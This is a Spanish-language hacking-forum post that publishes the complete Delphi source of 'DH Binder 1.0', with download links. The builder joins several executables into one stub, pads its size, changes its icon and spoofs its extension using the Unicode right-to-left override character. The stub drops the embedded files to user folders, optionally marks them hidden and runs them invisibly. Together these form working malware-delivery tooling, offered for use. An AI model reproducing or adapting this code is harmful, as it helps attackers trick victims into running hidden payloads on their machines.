Autor Tema: [Delphi] DH Binder 1.0  (Leído 1813 veces)

0 Usuarios y 1 Visitante están viendo este tema.

BigBear

  • **
  • Mensajes: 165
  • Liked: 47
[Delphi] DH Binder 1.0
« : febrero 27, 2015, 10:01:38 am »
Nueva version de este simple binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado
  • El builder incluye un File Pumper,Icon Changer y Extension Spoofer


Una imagen :



Los codigos :

El generador.

Código: [Seleccionar]
// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

unit binder;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
  StrUtils;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    GroupBox1: TGroupBox;
    PageControl3: TPageControl;
    TabSheet6: TTabSheet;
    TabSheet7: TTabSheet;
    TabSheet8: TTabSheet;
    files: TListView;
    StatusBar1: TStatusBar;
    GroupBox2: TGroupBox;
    archivo_nuevo: TEdit;
    Button1: TButton;
    GroupBox3: TGroupBox;
    execute: TComboBox;
    abrir: TOpenDialog;
    GroupBox4: TGroupBox;
    Button2: TButton;
    GroupBox5: TGroupBox;
    extraction: TComboBox;
    GroupBox6: TGroupBox;
    opcion_ocultar: TCheckBox;
    check_filepumper: TCheckBox;
    GroupBox7: TGroupBox;
    GroupBox8: TGroupBox;
    pumper_count: TEdit;
    UpDown1: TUpDown;
    pumper_type: TComboBox;
    check_extension_changer: TCheckBox;
    GroupBox9: TGroupBox;
    check_extension: TCheckBox;
    extensiones: TComboBox;
    GroupBox10: TGroupBox;
    check_this_extension: TCheckBox;
    extension: TEdit;
    GroupBox11: TGroupBox;
    ruta_icono: TEdit;
    Button3: TButton;
    GroupBox12: TGroupBox;
    use_icon_changer: TCheckBox;
    preview: TImage;
    imagenes: TImageList;
    menu: TPopupMenu;
    C1: TMenuItem;
    Image2: TImage;
    GroupBox13: TGroupBox;
    Button4: TButton;
    TabSheet9: TTabSheet;
    GroupBox14: TGroupBox;
    Image3: TImage;
    Label1: TLabel;
    D1: TMenuItem;
    abrir_icono: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure C1Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure D1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

procedure file_pumper(archivo: string; cantidad: LongWord);
var
  arraycantidad: array of Byte;
  abriendo: TFileStream;
begin
  abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
  SetLength(arraycantidad, cantidad);
  ZeroMemory(@arraycantidad[1], cantidad);
  abriendo.Seek(0, soFromEnd);
  abriendo.Write(arraycantidad[0], High(arraycantidad));
  abriendo.Free;
end;

procedure extension_changer(archivo: string; extension: string);
var
  nombre: string;
begin
  nombre := ExtractFileName(archivo);
  nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
    [rfReplaceAll, rfIgnoreCase]);
  nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
  MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
begin
  if (abrir.execute) then
  begin
    archivo_nuevo.Text := abrir.FileName;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  icono: TIcon;
  listate: TListItem;
  getdata: SHFILEINFO;
begin

  if (FileExists(archivo_nuevo.Text)) then
  begin
    icono := TIcon.Create;
    files.Items.BeginUpdate;

    with files do
    begin

      listate := files.Items.Add;

      listate.Caption := ExtractFileName(archivo_nuevo.Text);
      listate.SubItems.Add(archivo_nuevo.Text);
      listate.SubItems.Add(ExtractFileExt(archivo_nuevo.Text));
      listate.SubItems.Add(execute.Text);

      SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
        SHGFI_ICON or SHGFI_SMALLICON);
      icono.Handle := getdata.hIcon;
      listate.ImageIndex := imagenes.AddIcon(icono);

      DestroyIcon(getdata.hIcon);

    end;

    files.Items.EndUpdate;

    archivo_nuevo.Text := '';

    StatusBar1.Panels[0].Text := '[+] File Added';
    Form1.StatusBar1.Update;
  end
  else
  begin
    StatusBar1.Panels[0].Text := '[-] File not exists';
    Form1.StatusBar1.Update;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  if (abrir_icono.execute) then
  begin
    ruta_icono.Text := abrir_icono.FileName;
    preview.Picture.LoadFromFile(abrir_icono.FileName);
  end;
end;

procedure TForm1.Button4Click(Sender: TObject);
var
  i: integer;
  nombre: string;
  ruta: string;
  tipo: string;
  savein: string;
  opcionocultar: string;
  lineafinal: string;
  uno: DWORD;
  tam: DWORD;
  dos: DWORD;
  tres: DWORD;
  todo: Pointer;
  change: DWORD;
  valor: string;
  stubgenerado: string;
  ruta_archivo: string;
  tipocantidadz: string;
  extensionacambiar: string;

begin

  StatusBar1.Panels[0].Text := '[+] Working ...';
  Form1.StatusBar1.Update;

  if (files.Items.Count = 0) or (files.Items.Count = 1) then
  begin
    ShowMessage('You have to choose two or more files');
  end
  else
  begin
    stubgenerado := 'done.exe';

    if (opcion_ocultar.Checked = True) then
    begin
      opcionocultar := '1';
    end
    else
    begin
      opcionocultar := '0';
    end;

    if (extraction.Items[extraction.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := extraction.Items[extraction.ItemIndex];
    end;

    DeleteFile(stubgenerado);
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
      'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
      stubgenerado), True);

    ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;

    uno := BeginUpdateResource(PChar(ruta_archivo), True);

    for i := 0 to files.Items.Count - 1 do
    begin

      nombre := files.Items[i].Caption;
      ruta := files.Items[i].SubItems[0];
      tipo := files.Items[i].SubItems[2];

      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
        '[63686175]';

      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
      tam := GetFileSize(dos, nil);
      GetMem(todo, tam);
      ReadFile(dos, todo^, tam, tres, nil);
      CloseHandle(dos);
      UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
        MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

    end;

    EndUpdateResource(uno, False);

  end;

  //

  if (check_filepumper.Checked) then
  begin
    tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
    if (tipocantidadz = 'Byte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
    end;
    if (tipocantidadz = 'KiloByte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
    end;
    if (tipocantidadz = 'MegaByte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
    end;
    if (tipocantidadz = 'GigaByte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
    end;
    if (tipocantidadz = 'TeraByte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
    end;
  end;

  if (use_icon_changer.Checked) then
  begin
    try
      begin
        change := BeginUpdateResourceW
          (PWideChar(wideString(ruta_archivo)), False);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(ruta_icono.Text)));
        EndUpdateResourceW(change, False);
      end;
    except
      begin
        //
      end;
    end;
  end;

  if (check_extension_changer.Checked) then
  begin
    if not(check_extension.Checked and check_this_extension.Checked) then
    begin
      if (check_extension.Checked) then
      begin
        extensionacambiar := extensiones.Items[extensiones.ItemIndex];
        extension_changer(ruta_archivo, extensionacambiar);
      end;
      if (check_this_extension.Checked) then
      begin
        extension_changer(ruta_archivo, extension.Text);
      end;
    end;
  end;

  StatusBar1.Panels[0].Text := '[+] Done';
  Form1.StatusBar1.Update;

end;

procedure TForm1.C1Click(Sender: TObject);
begin
  files.Clear;
  imagenes.Clear;
end;

procedure TForm1.D1Click(Sender: TObject);
begin
  files.DeleteSelected;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  abrir.InitialDir := GetCurrentDir;
  abrir_icono.InitialDir := GetCurrentDir;
  abrir_icono.Filter := 'ICO|*.ico|';
end;

end.

// The End ?

El Stub.

Código: [Seleccionar]
// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

program stub;

uses
  System.SysUtils, ShellApi, Windows;

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure cargar_archivo(archivo: TFileName; tipo: string);
var
  data: SHELLEXECUTEINFO;
begin
  if (FileExists(archivo)) then
  begin
    ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
    data.cbSize := SizeOf(SHELLEXECUTEINFO);
    data.fMask := SEE_MASK_NOCLOSEPROCESS;
    data.Wnd := 0;
    data.lpVerb := 'open';
    data.lpFile := PChar(archivo);
    if (tipo = 'Show') then
    begin
      data.nShow := SW_SHOWNORMAL;
    end;
    if (tipo = 'Hide') then
    begin
      data.nShow := SW_HIDE;
    end;
    if not ShellExecuteEx(@data) then
      if GetLastError <= 32 then
      begin
        SysErrorMessage(GetLastError);
      end;
  end;
end;

//

// Start the game

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
  data: DWORD;
  uno: DWORD;
  dos: DWORD;
  cinco2: string;
  nombre: string;
  tipodecarga: string;
  ruta: string;
  ocultar: string;

begin

  Result := True;

  cinco2 := cinco;
  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  cinco2 := dhencode(cinco2, 'decode');
  cinco2 := LowerCase(cinco2);

  nombre := regex(cinco2, '[nombre]', '[nombre]');
  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  ocultar := regex(cinco2, '[hide]', '[hide]');

  if not(tipodecarga = '') then
  begin
    data := FindResource(0, cinco, cuatro);

    uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
      nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    WriteFile(uno, LockResource(LoadResource(0, data))^,
      SizeOfResource(0, data), dos, nil);

    CloseHandle(uno);

    if (ocultar = '1') then
    begin
      SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
    end;

    if (tipodecarga = 'normal') then
    begin
      // Writeln('Abriendo normal');
      cargar_archivo(ruta + nombre, 'Show');
    end;
    if (tipodecarga = 'hide') then
    begin
      // Writeln('Abriendo oculto');
      cargar_archivo(ruta + nombre, 'Hide');
    end;
  end;
end;

begin

  EnumResourceNames(0, RT_RCDATA, @start, 0);

end.

// The End ?

Un video con ejemplos de uso :

- DH Binder 1.0 - Examples of use -

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.